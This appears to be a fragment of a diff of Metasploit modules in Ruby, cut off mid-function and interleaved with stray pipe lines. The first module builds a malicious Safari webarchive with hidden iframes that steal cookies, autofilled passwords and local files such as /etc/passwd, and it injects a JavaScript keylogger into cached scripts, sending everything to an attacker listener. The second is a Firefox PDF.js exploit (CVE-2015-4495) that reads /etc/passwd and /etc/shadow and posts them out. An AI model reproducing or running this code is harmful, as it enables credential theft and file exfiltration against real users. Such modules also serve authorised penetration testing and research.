@xml << webarchive_footer
|
||||
end
|
||||
|
||||
# @return [String] the first chunk of the webarchive file, containing the WebMainResource
|
||||
def webarchive_header
|
||||
%Q|
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
||||
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>WebMainResource</key>
|
||||
<dict>
|
||||
<key>WebResourceData</key>
|
||||
<data>
|
||||
#{Rex::Text.encode_base64(iframes_container_html)}</data>
|
||||
<key>WebResourceFrameName</key>
|
||||
<string></string>
|
||||
<key>WebResourceMIMEType</key>
|
||||
<string>text/html</string>
|
||||
<key>WebResourceTextEncodingName</key>
|
||||
<string>UTF-8</string>
|
||||
<key>WebResourceURL</key>
|
||||
<string>file:///</string>
|
||||
</dict>
|
||||
<key>WebSubframeArchives</key>
|
||||
<array>
|
||||
|
|
||||
end
|
||||
|
||||
# @return [String] the XML markup to insert into the webarchive for each unique
|
||||
# iframe (we use one frame per site we want to steal)
|
||||
def webarchive_iframe(url, idx)
|
||||
%Q|
|
||||
<dict>
|
||||
<key>WebMainResource</key>
|
||||
<dict>
|
||||
<key>WebResourceData</key>
|
||||
<data>
|
||||
#{Rex::Text.encode_base64(iframe_content_for_url(url))}</data>
|
||||
<key>WebResourceFrameName</key>
|
||||
<string><!--framePath //<!--frame#{idx}-->--></string>
|
||||
<key>WebResourceMIMEType</key>
|
||||
<string>text/html</string>
|
||||
<key>WebResourceTextEncodingName</key>
|
||||
<string>UTF-8</string>
|
||||
<key>WebResourceURL</key>
|
||||
<string>#{escape_xml url}</string>
|
||||
</dict>
|
||||
#{webarchive_iframe_subresources(url, idx)}
|
||||
</dict>
|
||||
|
|
||||
end
|
||||
|
||||
# @return [String] the XML mark up for adding a set of "stored" resources at
|
||||
# the given URLs
|
||||
def webarchive_iframe_subresources(url, idx)
|
||||
%Q|
|
||||
<key>WebSubresources</key>
|
||||
<array>
|
||||
#{webarchive_resources_for_poisoning_cache(url)}
|
||||
</array>
|
||||
|
|
||||
end
|
||||
|
||||
# @return [String] the XML markup to insert into the webarchive for each unique
|
||||
# iframe (we use one frame per site we want to steal)
|
||||
# @return '' if msf user does not want to poison cache
|
||||
def webarchive_resources_for_poisoning_cache(url)
|
||||
if not should_install_keyloggers? then return '' end
|
||||
|
||||
url_idx = urls.index(url)
|
||||
scripts = scripts_to_poison[url_idx] || []
|
||||
xml_dicts = scripts.map do |script|
|
||||
script_body = inject_js_keylogger(script[:body])
|
||||
%Q|
|
||||
<dict>
|
||||
<key>WebResourceData</key>
|
||||
<data>
|
||||
#{Rex::Text.encode_base64(script_body)}
|
||||
</data>
|
||||
<key>WebResourceMIMEType</key>
|
||||
<string>application/javascript</string>
|
||||
<key>WebResourceResponse</key>
|
||||
<data>
|
||||
#{Rex::Text.encode_base64 web_response_xml(script)}
|
||||
</data>
|
||||
<key>WebResourceURL</key>
|
||||
<string>#{escape_xml script[:url]}</string>
|
||||
</dict>
|
||||
|
|
||||
end
|
||||
xml_dicts.join
|
||||
end
|
||||
|
||||
# @return [String] the closing chunk of the webarchive XML code
|
||||
def webarchive_footer
|
||||
%Q|
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
|
|
||||
end
|
||||
|
||||
# @param script [Hash] containing HTTP headers from the request
|
||||
# @return [String] xml markup for serialized WebResourceResponse containing good
|
||||
# stuff like HTTP/caching headers. Safari appears to do the following:
|
||||
# NSKeyedArchiver *a = [[NSKeyedArchiver alloc] initForWritingWithMutableData:data];
|
||||
# [a encodeObject:response forKey:@"WebResourceResponse"];
|
||||
def web_response_xml(script)
|
||||
# this is a serialized NSHTTPResponse, i'm too lazy to write a
|
||||
# real encoder so yay lets use string interpolation.
|
||||
# ripped this straight out of a webarchive save
|
||||
script['content-length'] = script[:body].length
|
||||
whitelist = %w(content-type content-length date etag
|
||||
Last-Modified cache-control expires)
|
||||
headers = script.clone.delete_if { |k, v| not whitelist.include? k }
|
||||
|
||||
key_set = headers.keys.sort
|
||||
val_set = key_set.map { |k| headers[k] }
|
||||
key_refs = key_set.each_with_index.map do |k, i|
|
||||
{ 'CF$UID' => 9+i }
|
||||
end
|
||||
val_refs = key_set.each_with_index.map do |k, i|
|
||||
{ 'CF$UID' => 9+key_set.length+i }
|
||||
end
|
||||
%Q|
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>$archiver</key>
|
||||
<string>NSKeyedArchiver</string>
|
||||
<key>$objects</key>
|
||||
<array>
|
||||
<string>$null</string>
|
||||
<dict>
|
||||
<key>$0</key>
|
||||
<integer>8</integer>
|
||||
<key>$1</key>
|
||||
<integer>1</integer>
|
||||
<key>$10</key>
|
||||
<integer>8</integer>
|
||||
<key>$11</key>
|
||||
<integer>0</integer>
|
||||
<key>$2</key>
|
||||
<integer>7</integer>
|
||||
<key>$3</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>2</integer>
|
||||
</dict>|+
|
||||
(4..7).map do |i|
|
||||
%Q|
|
||||
<key>$#{i}</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{i+1}</integer>
|
||||
</dict>|
|
||||
end.join("\n") + %Q|
|
||||
<key>$8</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{8+key_set.length*2+2}</integer>
|
||||
</dict>
|
||||
<key>$9</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>0</integer>
|
||||
</dict>
|
||||
<key>$class</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{8+key_set.length*2+3}</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
<dict>
|
||||
<key>$class</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>4</integer>
|
||||
</dict>
|
||||
<key>NS.base</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>0</integer>
|
||||
</dict>
|
||||
<key>NS.relative</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>3</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
<string>#{escape_xml script[:url]}</string>
|
||||
<dict>
|
||||
<key>$classes</key>
|
||||
<array>
|
||||
<string>NSURL</string>
|
||||
<string>NSObject</string>
|
||||
</array>
|
||||
<key>$classname</key>
|
||||
<string>NSURL</string>
|
||||
</dict>
|
||||
<real>388430153.25252098</real>
|
||||
<integer>1</integer>
|
||||
<integer>200</integer>
|
||||
<dict>
|
||||
<key>$class</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{8+key_set.length*2+1}</integer>
|
||||
</dict>
|
||||
<key>NS.keys</key>
|
||||
<array>|+
|
||||
key_set.each_with_index.map do |k, i|
|
||||
%Q|<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{9+i}</integer>
|
||||
</dict>|
|
||||
end.join("\n") + %Q|
|
||||
</array>
|
||||
<key>NS.objects</key>
|
||||
<array>|+
|
||||
val_set.each_with_index.map do |k, i|
|
||||
%Q|<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>#{9+key_set.length+i}</integer>
|
||||
</dict>|
|
||||
end.join("\n") + %Q|
|
||||
</array>
|
||||
</dict>
|
||||
#{key_set.map{|s| "<string>#{s}</string>" }.join("\n")}
|
||||
#{val_set.map{|s| "<string>#{s}</string>" }.join("\n")}
|
||||
<dict>
|
||||
<key>$classes</key>
|
||||
<array>
|
||||
<string>NSMutableDictionary</string>
|
||||
<string>NSDictionary</string>
|
||||
<string>NSObject</string>
|
||||
</array>
|
||||
<key>$classname</key>
|
||||
<string>NSMutableDictionary</string>
|
||||
</dict>
|
||||
<integer>107961</integer>
|
||||
<dict>
|
||||
<key>$classes</key>
|
||||
<array>
|
||||
<string>NSHTTPURLResponse</string>
|
||||
<string>NSURLResponse</string>
|
||||
<string>NSObject</string>
|
||||
</array>
|
||||
<key>$classname</key>
|
||||
<string>NSHTTPURLResponse</string>
|
||||
</dict>
|
||||
</array>
|
||||
<key>$top</key>
|
||||
<dict>
|
||||
<key>WebResourceResponse</key>
|
||||
<dict>
|
||||
<key>CF$UID</key>
|
||||
<integer>1</integer>
|
||||
</dict>
|
||||
</dict>
|
||||
<key>$version</key>
|
||||
<integer>100000</integer>
|
||||
</dict>
|
||||
</plist>
|
||||
|
|
||||
end
|
||||
|
||||
|
||||
#### JS/HTML CODE ####
|
||||
|
||||
# Wraps the result of the block in an HTML5 document and body
|
||||
def wrap_with_doc(&blk)
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html>
|
||||
<body>
|
||||
#{yield}
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
# Wraps the result of the block with <script> tags
|
||||
def wrap_with_script(&blk)
|
||||
"<script>#{yield}</script>"
|
||||
end
|
||||
|
||||
# @return [String] mark up for embedding the iframes for each URL in a place that is
|
||||
# invisible to the user
|
||||
def iframes_container_html
|
||||
hidden_style = "position:fixed; left:-600px; top:-600px;"
|
||||
wrap_with_doc do
|
||||
frames = urls.map { |url| "<iframe src='#{url}' style='#{hidden_style}'></iframe>" }
|
||||
communication_js + frames.join + injected_js_helpers + steal_files + message
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in script tags, that is inserted into the
|
||||
# WebMainResource (parent) frame so that child frames can communicate "up" to the parent
|
||||
# and send data out to the listener
|
||||
def communication_js
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
window.addEventListener('message', function(event){
|
||||
var x = new XMLHttpRequest;
|
||||
x.open('POST', '#{backend_url}#{collect_data_uri}', true);
|
||||
x.send(event.data);
|
||||
});
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] all the HTML markup required for executing the chosen attacks
|
||||
def iframe_content_for_url(url)
|
||||
# this JS code runs inside the iframes, in the context of url
|
||||
html = ''
|
||||
html << injected_js_helpers
|
||||
html << trigger_cache_poison_for_url(url) if should_install_keyloggers?
|
||||
html << steal_cookies_for_url(url) if should_steal_cookies?
|
||||
html << steal_form_data_for_url(url) if should_steal_form?
|
||||
wrap_with_doc { html }
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in a script tag, that steals the cookies
|
||||
# and response body/headers, and passes them back up to the parent.
|
||||
def steal_cookies_for_url(url)
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
try {
|
||||
var req = new XMLHttpRequest();
|
||||
var sent = false;
|
||||
req.open('GET', '#{url}', true);
|
||||
req.onreadystatechange = function() {
|
||||
if (req.readyState==4 && !sent) {
|
||||
sendData('#{url}', {
|
||||
response_headers: req.getAllResponseHeaders(),
|
||||
response_body: req.responseText
|
||||
});
|
||||
sent = true;
|
||||
}
|
||||
};
|
||||
req.send(null);
|
||||
} catch (e) {}
|
||||
sendData('cookie', document.cookie);
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in a script tag, that steals local files
|
||||
# and sends them back to the listener. This code is executed in the WebMainResource (parent)
|
||||
# frame, which runs in the file:// protocol
|
||||
def steal_files
|
||||
return '' unless should_steal_files?
|
||||
urls_str = [datastore['FILE_URLS'], interesting_file_urls.join(' ')].join(' ')
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
var filesStr = "#{urls_str}";
|
||||
var files = filesStr.trim().split(/\s+/);
|
||||
var stealFile = function(url) {
|
||||
var req = new XMLHttpRequest();
|
||||
var sent = false;
|
||||
req.open('GET', url, true);
|
||||
req.onreadystatechange = function() {
|
||||
if (!sent && req.responseText && req.responseText.length > 0) {
|
||||
sendData(url, req.responseText);
|
||||
sent = true;
|
||||
}
|
||||
};
|
||||
req.send(null);
|
||||
};
|
||||
for (var i = 0; i < files.length; i++) stealFile(files[i]);
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in a script tag, that steals autosaved form
|
||||
# usernames and passwords. The attack first tries to render the target URL in an iframe,
|
||||
# and steal populated passwords from there. If the site disables iframes through the
|
||||
# X-Frame-Options header, we try popping open a new window and rendering the site in that.
|
||||
def steal_form_data_for_url(url)
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
var stealFormData = function(win, completeFn) {
|
||||
var doc = win.document;
|
||||
if (!doc) doc = win.contentDocument;
|
||||
return function() {
|
||||
var data = {}, found = false;
|
||||
try {
|
||||
var inputs = doc.querySelectorAll(
|
||||
'input[type=email],input[type=text],input[type=password],textarea'
|
||||
);
|
||||
for (var i = 0; i < inputs.length; i++) {
|
||||
if (inputs[i].value && inputs[i].value.length > 0) {
|
||||
found = true;
|
||||
data[inputs[i].name] = inputs[i].value;
|
||||
}
|
||||
}
|
||||
if (found) sendData(data);
|
||||
if (completeFn) completeFn.call();
|
||||
} catch(e) {}
|
||||
}
|
||||
}
|
||||
|
||||
var tryInNewWin = function() {
|
||||
var y = window.open('#{url}', '_blank', 'height=0;width=0;location=0;left=200;');
|
||||
if (y) {
|
||||
var int1 = window.setInterval(function(){y.blur();window.top.focus();}, 20);
|
||||
y.addEventListener('load', function() {
|
||||
window.setTimeout(stealFormData(y, function(){
|
||||
if (int1) {
|
||||
window.clearInterval(int1);
|
||||
int1 = null;
|
||||
}
|
||||
y.close();
|
||||
}), 500);
|
||||
}, false);
|
||||
}
|
||||
};
|
||||
var tryInIframe = function(){
|
||||
var i = document.createElement('iframe');
|
||||
i.style = 'position:absolute;width:2px;height:2px;left:-2000px;top:-2000px;';
|
||||
document.body.appendChild(i);
|
||||
i.src = '#{url}';
|
||||
i.addEventListener('load', function() {
|
||||
window.setTimeout(stealFormData(i), 500);
|
||||
}, false);
|
||||
return i;
|
||||
};
|
||||
|
||||
var iframe = tryInIframe();
|
||||
if (#{should_pop_up?}) {
|
||||
window.setTimeout(function(){
|
||||
|
||||
if (iframe.contentDocument &&
|
||||
iframe.contentDocument.location.href == 'about:blank') {
|
||||
tryInNewWin();
|
||||
}
|
||||
}, 1000)
|
||||
}
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] javascript code, wrapped in script tag, that adds a helper function
|
||||
# called "sendData()" that passes the arguments up to the parent frame, where it is
|
||||
# sent out to the listener
|
||||
def injected_js_helpers
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
window.sendData = function(key, val) {
|
||||
var data = {};
|
||||
data[key] = val;
|
||||
window.top.postMessage(JSON.stringify(data), "*")
|
||||
};
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] HTML markup that includes a script at the URL we want to poison
|
||||
# We will then install the injected_js_keylogger at the same URL
|
||||
def trigger_cache_poison_for_url(url)
|
||||
url_idx = urls.index(url)
|
||||
scripts_to_poison[url_idx].map { |s|
|
||||
"\n<script src='#{s[:url]}' type='text/javascript'></script>\n"
|
||||
}.join
|
||||
end
|
||||
|
||||
# @param original_js [String] the original contents of the script file
|
||||
# @return [String] the poisoned contents. Once the module has found a valid 304'd script to
|
||||
# poison, it "poisons" it by adding a keylogger, then adds the output as a resource with
|
||||
# appropriate Cache-Control to the webarchive.
|
||||
# @return [String] the original contents if msf user does not want to install keyloggers
|
||||
def inject_js_keylogger(original_js)
|
||||
if not should_install_keyloggers?
|
||||
original_js
|
||||
else
|
||||
frame_name = 'lalala___lalala'
|
||||
secret = '____INSTALLED!??!'
|
||||
%Q|
|
||||
(function(){
|
||||
if (window['#{secret}']) return;
|
||||
window['#{secret}'] = true;
|
||||
document.addEventListener('DOMContentLoaded',function(){
|
||||
var buffer = '';
|
||||
var sendData = function(keystrokes, time) {
|
||||
var img = new Image();
|
||||
data = JSON.stringify({keystrokes: keystrokes, time: time});
|
||||
img.src = '#{backend_url}#{collect_data_uri}?data='+data;
|
||||
}
|
||||
document.addEventListener('keydown', function(e) {
|
||||
var c = String.fromCharCode(e.keyCode);
|
||||
if (c.length > 0) buffer += c;
|
||||
}, true);
|
||||
window.setInterval(function(){
|
||||
if (buffer.length > 0) {
|
||||
sendData(buffer, new Date);
|
||||
buffer = '';
|
||||
}
|
||||
}, 3000)
|
||||
});
|
||||
})();
|
||||
#{original_js}
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Array<String>>] list of URLs provided by the user mapped to all of the linked
|
||||
# javascript assets in its HTML response.
|
||||
def all_script_urls(pages)
|
||||
pages.map do |url|
|
||||
results = []
|
||||
print_status "Fetching URL #{url}..."
|
||||
# fetch and parse the HTML document
|
||||
doc = Nokogiri::HTML(URI.parse(url).open)
|
||||
# recursively add scripts from iframes
|
||||
doc.css('iframe').each do |iframe|
|
||||
print_status "Checking iframe..."
|
||||
if not iframe.attributes['src'].nil? and not iframe.attributes['src'].value.empty?
|
||||
results += all_script_urls([iframe.attributes['src'].value])
|
||||
end
|
||||
end
|
||||
# add all scripts on the current page
|
||||
doc.css('script').each do |script| # loop over every <script>
|
||||
# external scripts only
|
||||
if not script.attributes['src'].nil? and not script.attributes['src'].value.empty?
|
||||
results << script.attributes['src'].value
|
||||
end
|
||||
end
|
||||
results
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Array<Array<Hash>>] list of headers returned by cacheabke remote javascripts
|
||||
def find_cached_scripts
|
||||
cached_scripts = all_script_urls(urls).each_with_index.map do |urls_for_site, i|
|
||||
begin
|
||||
page_uri = URI.parse(urls[i])
|
||||
rescue URI::InvalidURIError => e
|
||||
next
|
||||
end
|
||||
|
||||
results = urls_for_site.uniq.map do |url|
|
||||
begin
|
||||
print_status "URL: #{url}"
|
||||
begin
|
||||
script_uri = URI.parse(url)
|
||||
if script_uri.relative?
|
||||
url = page_uri + url
|
||||
end
|
||||
if url.to_s.starts_with? '//'
|
||||
url = "#{page_uri.scheme}:#{url}"
|
||||
end
|
||||
io = URI.parse(url).open
|
||||
rescue URI::InvalidURIError, OpenURI::HTTPError
|
||||
next
|
||||
end
|
||||
|
||||
# parse some HTTP headers and do type coercions
|
||||
last_modified = io.last_modified
|
||||
expires = Time.parse(io.meta['expires']) rescue nil
|
||||
cache_control = io.meta['cache-control'] || ''
|
||||
charset = io.charset
|
||||
etag = io.meta['etag']
|
||||
# lets see if we are able to "poison" the cache for this asset...
|
||||
if (!expires.nil? && Time.now < expires) or
|
||||
(cache_control.length > 0) or # if asset is cacheable
|
||||
(not last_modified.nil? and last_modified.to_s.length > 0)
|
||||
print_status("Found cacheable #{url}")
|
||||
io.meta.merge(:body => io.read, :url => url)
|
||||
else
|
||||
nil
|
||||
end
|
||||
rescue Errno::ENOENT => e # lots of things can go wrong here.
|
||||
next
|
||||
end
|
||||
end
|
||||
results.compact # remove nils
|
||||
end
|
||||
print_status "Found #{cached_scripts.flatten.length} script(s) that are poisonable."
|
||||
cached_scripts
|
||||
end
|
||||
|
||||
### HELPERS ###
|
||||
|
||||
# @return [String] the path to send data back to
|
||||
def collect_data_uri
|
||||
path = datastore["URIPATH"]
|
||||
if path.nil? or path.empty?
|
||||
'/grab'
|
||||
elsif path =~ /^\//
|
||||
path
|
||||
else
|
||||
"/#{path}"
|
||||
end
|
||||
end
|
||||
|
||||
# @return [String] formatted http/https URL of the listener
|
||||
@@ -820,60 +86,22 @@ class Metasploit3 < Msf::Auxiliary
|
||||
proto = (datastore["SSL"] ? "https" : "http")
|
||||
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
|
||||
"#{proto}://#{myhost}#{port_str}"
|
||||
"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"
|
||||
end
|
||||
|
||||
# @return [String] URL that serves the malicious webarchive
|
||||
def webarchive_download_url
|
||||
datastore["DOWNLOAD_PATH"]
|
||||
end
|
||||
|
||||
# @return [Array<String>] of interesting file URLs to steal. Additional files can be stolen
|
||||
# via the FILE_URLS module option.
|
||||
def interesting_file_urls
|
||||
[
|
||||
'file:///var/log/weekly.out', # may contain usernames
|
||||
'file:///private/var/log/secure.log',
|
||||
'file:///private/var/log/install.log',
|
||||
'file:///private/etc/passwd'
|
||||
]
|
||||
end
|
||||
|
||||
# @return [String] HTML content that is rendered in the <body> of the webarchive.
|
||||
def message
|
||||
"<p>You are being redirected. <a href='#'>Click here if nothing happens</a>.</p>"
|
||||
super + (datastore['INSTALL_EXTENSION'] ? " <a href='javascript:void(0)'>Click here to continue.</a>" + popup_js : '')
|
||||
end
|
||||
|
||||
# @return [Array<String>] of URLs provided by the user
|
||||
def urls
|
||||
(datastore['URLS'] || '').split(/\s+/)
|
||||
def popup_js
|
||||
wrap_with_script do
|
||||
%Q|
|
||||
window.onclick = function() {
|
||||
window.open('data:text/html,<script>opener.postMessage("EXT", "*");window.location="#{apple_extension_url}";<\\/script>');
|
||||
};
|
||||
|
|
||||
end
|
||||
end
|
||||
|
||||
# @param input [String] the unencoded string
|
||||
# @return [String] input with dangerous chars replaced with xml entities
|
||||
def escape_xml(input)
|
||||
input.to_s.gsub("&", "&").gsub("<", "<")
|
||||
.gsub(">", ">").gsub("'", "'")
|
||||
.gsub("\"", """)
|
||||
end
|
||||
|
||||
def should_steal_cookies?
|
||||
datastore['STEAL_COOKIES']
|
||||
end
|
||||
|
||||
def should_steal_form?
|
||||
datastore['STEAL_FORM_DATA']
|
||||
end
|
||||
|
||||
def should_steal_files?
|
||||
datastore['STEAL_FILES']
|
||||
end
|
||||
|
||||
def should_pop_up?
|
||||
should_steal_form? and datastore['ENABLE_POPUPS']
|
||||
end
|
||||
|
||||
def should_install_keyloggers?
|
||||
datastore['INSTALL_KEYLOGGERS']
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,278 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Firefox PDF.js Browser File Theft',
|
||||
'Description' => %q{
|
||||
This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR
|
||||
38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability
|
||||
occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with
|
||||
privileges to read local files. The in-the-wild malicious payloads searched for sensitive
|
||||
files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they
|
||||
do not use the Mozilla PDF viewer.
|
||||
},
|
||||
'Author' => [
|
||||
'Unknown', # From an 0day served on Russian news website
|
||||
'fukusa', # Hacker news member that reported the issue
|
||||
'Unknown' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [[ 'WebServer' ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://paste.debian.net/290146'], # 0day exploit
|
||||
['URL', 'https://news.ycombinator.com/item?id=10021376'], # discussion with discoverer
|
||||
['URL', 'https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/'],
|
||||
['CVE', '2015-4495']
|
||||
],
|
||||
'DefaultAction' => 'WebServer'
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILES', [
|
||||
false,
|
||||
'Comma-separated list of files to steal',
|
||||
'/etc/passwd, /etc/shadow'
|
||||
])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptInt.new('PER_FILE_SLEEP', [
|
||||
false,
|
||||
'Milliseconds to wait before attempting to read the frame containing each file',
|
||||
250
|
||||
])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("File targeted for exfiltration: #{JSON.generate(file_urls)}")
|
||||
exploit
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.method.downcase == 'post'
|
||||
print_status('Got POST request...')
|
||||
process_post(cli, request)
|
||||
send_response_html(cli, '')
|
||||
else
|
||||
print_status('Sending exploit...')
|
||||
send_response_html(cli, html)
|
||||
end
|
||||
end
|
||||
|
||||
def process_post(cli, req)
|
||||
name = req.qstring['name']
|
||||
print_good("Received #{name}, size #{req.body.bytes.length}...")
|
||||
output = store_loot(
|
||||
name || 'data', 'text/plain', cli.peerhost, req.body, 'firefox_theft', 'Firefox PDF.js exfiltrated file'
|
||||
)
|
||||
print_good("Stored to #{output}")
|
||||
end
|
||||
|
||||
def html
|
||||
exploit_js = js + file_payload + '}, 20);'
|
||||
|
||||
"<!doctype html><html><body><script>#{exploit_js}</script></body></html>"
|
||||
end
|
||||
|
||||
def backend_url
|
||||
proto = (datastore['SSL'] ? 'https' : 'http')
|
||||
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
|
||||
port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"
|
||||
resource = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
|
||||
|
||||
"#{proto}://#{my_host}#{port_str}#{resource}/catch"
|
||||
end
|
||||
|
||||
|
||||
def file_payload
|
||||
%Q|
|
||||
var files = (#{JSON.generate(file_urls)});
|
||||
function next() {
|
||||
var f = files.pop();
|
||||
if (f) {
|
||||
get("file://"+f, function() {
|
||||
var data = get_data(this);
|
||||
var x = new XMLHttpRequest;
|
||||
x.open("POST", "#{backend_url}?name="+encodeURIComponent("%URL%"));
|
||||
x.send(data);
|
||||
}, #{datastore['PER_FILE_SLEEP']}, "%URL%", f);
|
||||
setTimeout(next, #{datastore['PER_FILE_SLEEP']}+200);
|
||||
}
|
||||
}
|
||||
next();
|
||||
|
|
||||
end
|
||||
|
||||
def file_urls
|
||||
datastore['FILES'].split(',').map(&:strip)
|
||||
end
|
||||
|
||||
def js
|
||||
<<-EOJS
|
||||
function xml2string(obj) {
|
||||
return new XMLSerializer().serializeToString(obj);
|
||||
}
|
||||
|
||||
function __proto(obj) {
|
||||
return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__;
|
||||
}
|
||||
|
||||
function get(path, callback, timeout, template, value) {
|
||||
callback = _(callback);
|
||||
if (template && value) {
|
||||
callback = callback.replace(template, value);
|
||||
}
|
||||
js_call1 = 'javascript:' + _(function() {
|
||||
try {
|
||||
open("%url%", "_self");
|
||||
} catch (e) {
|
||||
history.back();
|
||||
}
|
||||
undefined;
|
||||
}, "%url%", path);
|
||||
js_call2 = 'javascript:;try{updateHidden();}catch(e){};' + callback + ';undefined';
|
||||
sandboxContext(_(function() {
|
||||
i = document.getElementById('i');
|
||||
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
|
||||
i2 = document.getElementById('i2');
|
||||
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
|
||||
l.call(i2.contentWindow, window.wrappedJSObject.js_call1);
|
||||
}));
|
||||
setTimeout((function() {
|
||||
sandboxContext(_(function() {
|
||||
p = __proto(i.contentDocument.styleSheets[0].ownerNode);
|
||||
l = p.__lookupSetter__.call(i2.contentWindow, 'location');
|
||||
l.call(i2.contentWindow, window.wrappedJSObject.js_call2);
|
||||
}));
|
||||
}), timeout);
|
||||
}
|
||||
|
||||
function get_data(obj) {
|
||||
data = null;
|
||||
try {
|
||||
data = obj.document.documentElement.innerHTML;
|
||||
if (data.indexOf('dirListing') < 0) {
|
||||
throw new Error();
|
||||
}
|
||||
} catch (e) {
|
||||
if (this.document instanceof XMLDocument) {
|
||||
data = xml2string(this.document);
|
||||
} else {
|
||||
try {
|
||||
if (this.document.body.firstChild.nodeName.toUpperCase() == 'PRE') {
|
||||
data = this.document.body.firstChild.textContent;
|
||||
} else {
|
||||
throw new Error();
|
||||
}
|
||||
} catch (e) {
|
||||
try {
|
||||
if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') > -1) {;
|
||||
return null;
|
||||
} else {
|
||||
throw new Error();
|
||||
}
|
||||
} catch (e) {
|
||||
;;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
function _(s, template, value) {
|
||||
s = s.toString().split(/^\\s*function\\s+\\(\\s*\\)\\s*\\{/)[1];
|
||||
s = s.substring(0, s.length - 1);
|
||||
if (template && value) {
|
||||
s = s.replace(template, value);
|
||||
}
|
||||
s += __proto;
|
||||
s += xml2string;
|
||||
s += get_data;
|
||||
s = s.replace(/\\s\\/\\/.*\\n/g, "");
|
||||
s = s + ";undefined";
|
||||
return s;
|
||||
}
|
||||
|
||||
function get_sandbox_context() {
|
||||
if (window.my_win_id == null) {
|
||||
for (var i = 0; i < 20; i++) {
|
||||
try {
|
||||
if (window[i].location.toString().indexOf("view-source:") != -1) {
|
||||
my_win_id = i;
|
||||
break;
|
||||
}
|
||||
} catch (e) {}
|
||||
}
|
||||
};
|
||||
if (window.my_win_id == null)
|
||||
return;
|
||||
clearInterval(sandbox_context_i);
|
||||
object.data = 'view-source:' + blobURL;
|
||||
window[my_win_id].location = 'data:application/x-moz-playpreview-pdfjs;,';
|
||||
object.data = 'data:text/html,<'+'html/>';
|
||||
window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '<iframe style='+
|
||||
'"position:absolute; left:-9999px;" onload = "'+_(function(){
|
||||
window.wrappedJSObject.sandboxContext=(function(cmd) {
|
||||
